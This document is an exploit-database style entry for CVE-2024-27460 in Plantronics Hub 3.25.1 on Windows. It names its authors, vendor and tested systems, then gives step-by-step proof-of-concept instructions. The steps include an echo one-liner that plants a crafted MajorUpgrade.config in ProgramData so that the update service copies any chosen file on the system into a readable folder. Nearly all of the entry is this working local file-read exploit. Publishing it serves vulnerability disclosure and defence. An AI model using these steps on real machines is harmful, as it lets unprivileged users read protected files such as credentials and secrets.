# Exploit Title: Plantronics Hub 3.25.1 – Arbitrary File Read # Date: 2024-05-10 # Exploit Author: Farid Zerrouk from Deloitte Belgium, Alaa Kachouh from Mastercard # Vendor Homepage: https://support.hp.com/us-en/document/ish_9869257-9869285-16/hpsbpy03895 # Version: Plantronics Hub for Windows version 3.25.1 # Tested on: Windows 10/11 # CVE : CVE-2024-27460 As a regular user drop a file called "MajorUpgrade.config" inside the "C:\ProgramData\Plantronics\Spokes3G" directory. The content of MajorUpgrade.config should look like the following one liner: ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config Exchange <FULL-PATH-TO-YOUR-DESIRED-FILE> with a desired file to read/copy (any file on the system). The desired file will be copied into C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp Steps to reproduce (POC): - Open cmd.exe - Navigate using cd C:\ProgramData\Plantronics\Spokes3G - echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config - Desired file will be copied into C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp